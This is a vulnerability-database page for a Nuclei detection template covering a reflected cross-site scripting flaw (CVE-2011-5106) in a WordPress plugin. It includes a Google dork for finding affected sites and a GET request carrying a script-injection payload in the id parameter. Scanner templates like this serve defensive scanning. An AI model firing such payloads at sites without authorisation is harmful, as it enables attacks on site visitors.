CVE-2011-5106: WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting
- Template: CVE-2011-5106
- Name: WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting
- Description: A cross-site scripting vulnerability in edit-post.php in the Flexible Custom Post Type plugin before 0.1.7 for WordPress allows remote attackers to inject arbitrary web script or HTML via the id parameter.
- Impact: Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
- Remediation: Update to the latest version of the plugin (version 0.1.8 or higher) which includes a fix for this vulnerability.
- Severity: medium
- Authors: daffainfo
- Tags: cve, cve2011, wordpress, xss, wp-plugin, fractalia, vuln
- References: https://nvd.nist.gov/vuln/detail/CVE-2011-5106, https://wordpress.org/plugins/flexible-custom-post-type/#developers, http://plugins.trac.wordpress.org/changeset?reponame=&new=466252%40flexible-custom-post-type&old=465583%40flexible-custom-post-type, http://wordpress.org/extend/plugins/flexible-custom-post-type/changelog/, https://exchange.xforce.ibmcloud.com/vulnerabilities/71415
- Cves: CVE-2011-5106
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2011/CVE-2011-5106.yaml
- Digest: 4b0a00483046022100d011dda9f5f09bafaf3fb0e03d7e73b64d5b832961657a5b95cf2d84921c0a2e022100c6147e4072b0f8c336dea706159e47e92860f1b4b679a493cc5e6663785c7ea6
- Created at: 2021-07-15T09:34:17Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 1958
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2011/CVE-2011-5106.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-79
- Cvss score: 4.3
- Cvss vector: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
- Epss score: 0.10899
- Epss percentile: 0.95981
- Cpe: cpe:2.3:a:fractalia:flexible_custom_post_type:0.1:*:*:*:*:*:*:*
Metadata
- Google-query: inurl:"/wp-content/plugins/flexible-custom-post-type/"
- Max-request: 1
- Product: flexible_custom_post_type
- Vendor: fractalia
Products
| Product | Indexed | Url |
|---|---|---|
| fractalia:flexible_custom_post_type | yes | /v1/products/fractalia/flexible_custom_post_type |
Labels
- Name: Flexible Custom Post Type - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking or defacement.
- Remediation: Update to version 0.1.7 or later.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2011-5106
- Not known: requirements
```yaml
id: CVE-2011-5106
info:
name: WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting
author: daffainfo
severity: medium
description: A cross-site scripting vulnerability in edit-post.php in the Flexible Custom Post Type plugin before 0.1.7 for WordPress allows remote attackers to inject arbitrary web script or HTML via the id parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
remediation: |
Update to the latest version of the plugin (version 0.1.8 or higher) which includes a fix for this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2011-5106
- https://wordpress.org/plugins/flexible-custom-post-type/#developers
- http://wordpress.org/extend/plugins/flexible-custom-post-type/changelog/
- https://exchange.xforce.ibmcloud.com/vulnerabilities/71415
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cvss-score: 4.3
cve-id: CVE-2011-5106
cwe-id: CWE-79
epss-score: 0.10899
epss-percentile: 0.95981
cpe: cpe:2.3:a:fractalia:flexible_custom_post_type:0.1:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: fractalia
product: flexible_custom_post_type
google-query: inurl:"/wp-content/plugins/flexible-custom-post-type/"
tags: cve,cve2011,wordpress,xss,wp-plugin,fractalia,vuln
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/flexible-custom-post-type/edit-post.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
digest: 4b0a00483046022100d011dda9f5f09bafaf3fb0e03d7e73b64d5b832961657a5b95cf2d84921c0a2e022100c6147e4072b0f8c336dea706159e47e92860f1b4b679a493cc5e6663785c7ea6:922c64590222798bb761d5b6d8e72950
```